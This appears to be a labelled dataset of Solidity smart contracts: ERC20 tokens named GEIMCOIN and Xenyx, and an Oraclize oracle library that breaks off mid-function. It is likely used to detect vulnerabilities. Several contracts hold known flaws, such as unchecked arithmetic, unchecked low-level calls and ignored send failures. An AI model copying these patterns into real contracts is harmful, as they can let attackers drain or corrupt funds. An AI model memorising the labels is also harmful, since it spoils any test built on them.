function sendFunds(address beneficiary, uint amount, uint successLogAmount) private {
if (beneficiary.send(amount)) {
emit Payment(beneficiary, successLogAmount);
} else {
emit FailedPayment(beneficiary, amount);
}
}
uint constant POPCNT_MULT = 0x0000000000002000000000100000000008000000000400000000020000000001;
uint constant POPCNT_MASK = 0x0001041041041041041041041041041041041041041041041041041041041041;
uint constant POPCNT_MODULO = 0x3F;
} | 0 | 1,375 |
pragma solidity ^0.4.25;
contract Token {
function totalSupply() constant returns (uint256 supply) {}
function balanceOf(address _owner) constant returns (uint256 balance) {}
function transfer(address _to, uint256 _value) returns (bool success) {}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
function approve(address _spender, uint256 _value) returns (bool success) {}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
contract GEIMCOIN is StandardToken {
string public name;
uint8 public decimals;
string public symbol;
string public version = 'GEIMCOIN.0';
uint256 public unitsOneEthCanBuy;
uint256 public totalEthInWei;
address public fundsWallet;
function GEIMCOIN() {
balances[msg.sender] = 8000000000000000000000000;
totalSupply = 8000000000000000000000000;
name = "GEIMCOIN";
decimals = 18;
symbol = "GMC";
unitsOneEthCanBuy = 10000;
fundsWallet = msg.sender;
}
function() payable{
totalEthInWei = totalEthInWei + msg.value;
uint256 amount = msg.value * unitsOneEthCanBuy;
require(balances[fundsWallet] >= amount);
balances[fundsWallet] = balances[fundsWallet] - amount;
balances[msg.sender] = balances[msg.sender] + amount;
Transfer(fundsWallet, msg.sender, amount);
fundsWallet.transfer(msg.value);
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
} | 1 | 5,228 |
pragma solidity ^0.4.14;
contract owned {
address public owner;
function owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract CCXTokenERC20 {
string public constant _myTokeName = 'Xenyx Token';
string public constant _mySymbol = 'XYX';
uint public constant _myinitialSupply = 1000000000;
uint8 public constant _myDecimal = 18;
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function CCXTokenERC20(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
decimals = _myDecimal;
totalSupply = _myinitialSupply * (10 ** uint256(_myDecimal));
balanceOf[msg.sender] = totalSupply;
name = _myTokeName;
symbol = _mySymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
}
contract MyAdvancedToken is owned, CCXTokenERC20 {
uint256 public sellPrice;
uint256 public buyPrice;
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
function MyAdvancedToken(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) CCXTokenERC20(initialSupply, tokenName, tokenSymbol) public {}
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0);
require (balanceOf[_from] >= _value);
require (balanceOf[_to] + _value > balanceOf[_to]);
require(!frozenAccount[_from]);
require(!frozenAccount[_to]);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
}
function mintToken(address target, uint256 mintedAmount) onlyOwner public {
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
Transfer(0, this, mintedAmount);
Transfer(this, target, mintedAmount);
}
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public {
sellPrice = newSellPrice;
buyPrice = newBuyPrice;
}
function buy() payable public {
uint amount = msg.value / buyPrice;
_transfer(this, msg.sender, amount);
}
function sell(uint256 amount) public {
require(this.balance >= amount * sellPrice);
_transfer(msg.sender, this, amount);
msg.sender.transfer(amount * sellPrice);
}
} | 1 | 5,524 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
pragma solidity ^0.4.18;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
pragma solidity ^0.4.18;
contract OraclizeI {
address public cbAddress;
function query(uint _timestamp, string _datasource, string _arg) external payable returns (bytes32 _id);
function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) external payable returns (bytes32 _id);
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) public payable returns (bytes32 _id);
function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) external payable returns (bytes32 _id);
function queryN(uint _timestamp, string _datasource, bytes _argN) public payable returns (bytes32 _id);
function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) external payable returns (bytes32 _id);
function getPrice(string _datasource) public returns (uint _dsprice);
function getPrice(string _datasource, uint gaslimit) public returns (uint _dsprice);
function setProofType(byte _proofType) external;
function setCustomGasPrice(uint _gasPrice) external;
function randomDS_getSessionPubKeyHash() external constant returns(bytes32);
}
contract OraclizeAddrResolverI {
function getAddress() public returns (address _addr);
}
contract usingOraclize {
uint constant day = 60*60*24;
uint constant week = 60*60*24*7;
uint constant month = 60*60*24*30;
byte constant proofType_NONE = 0x00;
byte constant proofType_TLSNotary = 0x10;
byte constant proofType_Android = 0x20;
byte constant proofType_Ledger = 0x30;
byte constant proofType_Native = 0xF0;
byte constant proofStorage_IPFS = 0x01;
uint8 constant networkID_auto = 0;
uint8 constant networkID_mainnet = 1;
uint8 constant networkID_testnet = 2;
uint8 constant networkID_morden = 2;
uint8 constant networkID_consensys = 161;
OraclizeAddrResolverI OAR;
OraclizeI oraclize;
modifier oraclizeAPI {
if((address(OAR)==0)||(getCodeSize(address(OAR))==0))
oraclize_setNetwork(networkID_auto);
if(address(oraclize) != OAR.getAddress())
oraclize = OraclizeI(OAR.getAddress());
_;
}
modifier coupon(string code){
oraclize = OraclizeI(OAR.getAddress());
_;
}
function oraclize_setNetwork(uint8 networkID) internal returns(bool){
return oraclize_setNetwork();
networkID;
}
function oraclize_setNetwork() internal returns(bool){
if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){
OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed);
oraclize_setNetworkName("eth_mainnet");
return true;
}
if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){
OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1);
oraclize_setNetworkName("eth_ropsten3");
return true;
}
if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){
OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e);
oraclize_setNetworkName("eth_kovan");
return true;
}
if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){
OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48);
oraclize_setNetworkName("eth_rinkeby");
return true;
}
if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){
OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475);
return true;
}
if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){
OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF);
return true;
}
if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){
OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA);
return true;
}
return false;
}
function __callback(bytes32 myid, string result) public {
__callback(myid, result, new bytes(0));
}
function __callback(bytes32 myid, string result, bytes proof) public {
return;
myid; result; proof;
}
function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource);
}
function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource, gaslimit);
}
function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(0, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(timestamp, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(0, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_cbAddress() oraclizeAPI internal returns (address){
return oraclize.cbAddress();
}
function oraclize_setProof(byte proofP) oraclizeAPI internal {
return oraclize.setProofType(proofP);
}
function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal {
return oraclize.setCustomGasPrice(gasPrice);
}
function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){
return oraclize.randomDS_getSessionPubKeyHash();
}
function getCodeSize(address _addr) constant internal returns(uint _size) {
assembly {
_size := extcodesize(_addr)
}
}
function parseAddr(string _a) internal pure returns (address){
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i=2; i<2+2*20; i+=2){
iaddr *= 256;
b1 = uint160(tmp[i]);
b2 = uint160(tmp[i+1]);
if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87;
else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55;
else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48;
if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87;
else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55;
else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48;
iaddr += (b1*16+b2);
}
return address(iaddr);
}
function strCompare(string _a, string _b) internal pure returns (int) {
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint minLength = a.length;
if (b.length < minLength) minLength = b.length;
for (uint i = 0; i < minLength; i ++)
if (a[i] < b[i])
return -1;
else if (a[i] > b[i])
return 1;
if (a.length < b.length)
return -1;
else if (a.length > b.length)
return 1;
else
return 0;
}
function indexOf(string _haystack, string _needle) internal pure returns (int) {
bytes memory h = bytes(_haystack);
bytes memory n = bytes(_needle);
if(h.length < 1 || n.length < 1 || (n.length > h.length))
return -1;
else if(h.length > (2**128 -1))
return -1;
else
{
uint subindex = 0;
for (uint i = 0; i < h.length; i ++)
{
if (h[i] == n[0])
{
subindex = 1;
while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex])
{
subindex++;
}
if(subindex == n.length)
return int(i);
}
}
return -1;
}
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal pure returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal pure returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal pure returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal pure returns (string) {
return strConcat(_a, _b, "", "", "");
}
function parseInt(string _a) internal pure returns (uint) {
return parseInt(_a, 0);
}
function parseInt(string _a, uint _b) internal pure returns (uint) {
